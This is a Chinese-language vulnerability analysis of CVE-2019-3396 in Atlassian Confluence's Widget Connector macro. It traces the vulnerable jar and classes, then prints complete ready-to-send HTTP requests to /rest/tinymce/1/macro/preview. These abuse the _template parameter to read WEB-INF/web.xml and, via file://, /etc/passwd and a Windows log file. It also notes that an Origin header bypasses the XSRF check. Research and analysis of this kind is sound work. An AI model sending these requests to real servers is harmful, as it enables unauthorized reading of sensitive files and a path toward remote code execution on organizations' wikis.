CVE-2019-3396
1. 环境搭建参考
Atlassian Confluence Path Traversal and Command Execution Vulnerability (CVE-2019-3396)
基于 Atlassian Confluence 6.10.2
2. 描述
Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,
通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。
6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,
也可以通过https://...来加载远程文件。
CVE-2019-3396 未授权 RCE 分析 6.6.x-6.9.x
Installation Directory: C:\Program Files\Atlassian\Confluence
Home Directory: C:\Program Files\Atlassian\Application Data\Confluence
HTTP Port: 8090
RMI Port: 8000
Confluence 未授权 RCE (CVE-2019-3396) 漏洞分析
1.漏洞点位置截图
2.漏洞所在的 jar
- 上图表示的 “小工具链接器” 所在类包
com.atlassian.confluence.extra.widgetconnector
widgetconnector-3.1.0.jar
3. 调试
- “小工具连接器宏” -> “预览”
Youtube
, 所使用的.class
为widgetconnector-3.1.0.jar!\com\atlassian\confluence\extra\widgetconnector\video\YoutubeRenderer.class
方法
getEmbeddedHtml(String url, Map<String, String> params)
参数params
中_template
可由外部传入
-
通过
render
方式预览
-
render
需要加载template
-
template
是通过loadResource
方式获取 (提供4种资源加载方式)
-
接下来就是利用以下两种资源加载方式来达到利用的效果
velocity-1.6.4-atlassian-9.jar
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
exp1 : 不可跨目录读取 WEB-INF/web.xml
- 利用
velocity-1.6.4-atlassian-9.jar
:org.apache.velocity.runtime.resource.loader.FileResourceLoader
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.0.0.100:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://10.0.0.100:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 168
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"WEB-INF/web.xml"}}}
或者如下 : 重点是 Origin
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.0.0.100:8090
Content-Length: 179
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.0.0.100:8090
Connection: close
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=TzS5wEoHMgM","width":"2000","height":"2000",
"_template":"WEB-INF/web.xml"}}}
若去掉 Origin
HTTP/1.1 403
X-ASEN: SEN-L19830839
X-Confluence-Cluster-Node: d62e1aa8
X-Content-Type-Options: nosniff
Content-Type: text/html
Date: Wed, 22 Nov 2023 14:01:45 GMT
Connection: close
Content-Length: 17
XSRF check failed
...
不可跨目录原因: StringUtil.normalizePath
过滤了 /../
public static final String normalizePath(String path) {
String normalized = path;
if (path.indexOf(92) >= 0) {
normalized = path.replace('\\', '/');
}
if (!normalized.startsWith("/")) {
normalized = "/" + normalized;
}
while(true) {
int index = normalized.indexOf("//");
if (index < 0) {
while(true) {
index = normalized.indexOf("%20");
if (index < 0) {
while(true) {
index = normalized.indexOf("/./");
if (index < 0) {
while(true) {
index = normalized.indexOf("/../");
if (index < 0) {
return normalized;
}
if (index == 0) {
return null;
}
int index2 = normalized.lastIndexOf(47, index - 1);
normalized = normalized.substring(0, index2) + normalized.substring(index + 3);
}
}
normalized = normalized.substring(0, index) + normalized.substring(index + 2);
}
}
normalized = normalized.substring(0, index) + " " + normalized.substring(index + 3);
}
}
normalized = normalized.substring(0, index) + normalized.substring(index + 1);
}
}
exp2 : 利用 file:// 跨目录读取文件
- 利用
velocity-1.6.4-atlassian-9.jar
:org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.10.10.250:8090
Content-Length: 213
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.10.10.250:8090
Connection: close
{"contentId":"780","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=TsS5wEoHMgm","width":"200","height":"200",
"_template":"file:///c:/Windows/lsasetup.log"}}}
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.0.0.100:8090
Content-Length: 184
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.0.0.100:8090
Connection: close
{"contentId":"780","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=TzS5wEoHMgM","width":"2000","height":"2000",
"_template":"file:///etc/passwd"}}}
-
使用
ClasspathResourceLoader.getResourceStream
获取资源模板
-
首先拼接类资源路径
WebappPath
-
当通过
WebappPath
打开流失败时,调用catalina.jar!\org\apache\catalina\loader\WebappClassLoaderBase.class
父类的findResource
获取URL